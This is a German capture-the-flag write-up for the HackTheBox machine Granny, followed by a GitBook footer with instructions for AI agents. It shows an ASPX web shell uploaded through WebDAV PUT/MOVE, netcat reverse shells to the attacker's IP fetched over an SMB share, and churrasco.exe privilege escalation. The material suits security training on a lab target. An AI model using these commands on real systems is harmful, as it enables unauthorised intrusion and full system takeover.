> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Granny HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Missbrauch der PUT- und MOVE-Methoden - Hochladen einer ASPX-WebShell
* Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote-Pufferüberlauf (RCE)
* Token Kidnapping - Churrasco (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/38dde6e1717c77f11ee23135df0cbb88de62742f" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/ae537ef9b1cf22914715996e5f32b77f8c1c5b44" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="/files/b70f254b3d36612f1056cd3e63500ee3300cb5f0" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="/files/c5f70d8edcb5e4e606ee7f5be478d327d9aa43f3" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="/files/ad0508ff1a4ec13a1230dd5c51e9efc2db1ada67" alt=""><figcaption></figcaption></figure>

## WebDAV-Schwachstelle

Port 80 ist offen, und der Server unterstützt WebDAV. Dies ermöglicht uns möglicherweise, Dateien über die PUT-Methode hochzuladen und sie mit MOVE umzubenennen.

<figure><img src="/files/a6c1849cc242bc988ac1d0f39ed93500a744fb8b" alt=""><figcaption></figcaption></figure>

Erstelle eine Testdatei:

```bash
echo "this is a test" > test.txt
```

Verbinde dich mit dem Server mit dem **cadaver** Tool:

```bash
cadaver 10.10.10.15
```

Versuche, die Datei mit dem PUT-Befehl hochzuladen:

<figure><img src="/files/353ac587c6bfdcfa6cc4954c0e9796c0c279e17b" alt=""><figcaption></figcaption></figure>

* Ergebnis: Erfolgreich.

<figure><img src="/files/04b20561b4f55d9f3b8bb41cb36023661b68fe0a" alt="" width="563"><figcaption></figcaption></figure>

### **Web-Shell-Upload**

Eine vorhandene ASPX-WebShell kopieren:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Versuche, sie direkt hochzuladen:

```powershell
put aspx_cmd.aspx
```

Ergebnis: Fehlgeschlagen (der Server blockiert Dateien mit der Endung .aspx).

<figure><img src="/files/2512b515a2c5a3ef97eb758239af0af9e38cd7a1" alt="" width="563"><figcaption></figcaption></figure>

Ändere die Endung zu **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Versuche den Upload erneut:

```powershell
PUT cmd.txt
```

* Ergebnis: Erfolgreich.

<figure><img src="/files/572e0c376d741f8de37b054593bd2f988a07e7c9" alt="" width="563"><figcaption></figcaption></figure>

#### Benenne die Datei mit MOVE um, um die Endung wiederherzustellen:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="/files/3608f97ffb4983bf92086314589b07be807c4214" alt=""><figcaption></figcaption></figure>

Greife über den Browser auf die WebShell zu:

<figure><img src="/files/9e18d4f3ac4127890398fd81c653988544f5437e" alt=""><figcaption></figcaption></figure>

### **Reverse Shell über die WebShell:**

Lege eine Netcat-Executable im aktuellen Verzeichnis ab:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Starte einen SMB-Server, um die Datei freizugeben:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Höre auf deinem Rechner auf Port 443:

```bash
sudo rlwrap nc -nvlp 443
```

Führe den Reverse-Shell-Befehl aus der WebShell aus:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="/files/e2b38e3b3d05c945596add9586ea18888547d734" alt=""><figcaption></figcaption></figure>

## **Privilegieneskalation :**

### Kernel-Exploitation - Windows Server 2003

Unter Verwendung der `systeminfo` Befehl sehen wir, dass das System sehr alt ist (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="/files/3494aefc1d8285c012b5209ee4aa1627f45c09db" alt=""><figcaption></figcaption></figure>

Wir haben außerdem die `SeImpersonatePrivilege` Berechtigung, die es uns ermöglicht, zu versuchen, unsere Privilegien zu erhöhen.

<figure><img src="/files/edf81c9a5d4fccd35a156df8d62e56ecfeef8608" alt=""><figcaption></figcaption></figure>

Um diese Einschränkung zu umgehen, verwenden wir das **churrasco.exe** Tool.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Windows-Dateiübertragung (SMB)/*/*

> Wir verwenden **smbserver.py** um ein Verzeichnis mit der Exploit-Datei 40627.exe freizugeben. Diese Datei wird dann auf den Zielrechner kopiert.

```bash
smbserver.py share $(pwd) -smb2support
```

Vom Zielrechner aus kopierten wir die schädliche Datei mit dem SMB-Befehl:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Anschließend können wir mit dieser Binärdatei jeden beliebigen Befehl ausführen, zum Beispiel:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="/files/665601874432944eeb04980676165c11186c6c0c" alt="" width="563"><figcaption></figcaption></figure>

**Reverse Shell herstellen**

Um eine Reverse Shell herzustellen, lauschen wir auf Port 443:

```bash
sudo rlwrap nc -nvlp 443
```

Wir erstellen erneut einen SMB-Server mit **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Schließlich führen wir die Reverse Shell mit dem folgenden Befehl aus:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="/files/3f9b5056c7a6eba327e1e64a2bee497508c25dae" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/ce991b93189d2d216190905280b6350157f434b0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/42dde391a1b04164d36a8d516f0a633fb09100a0" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
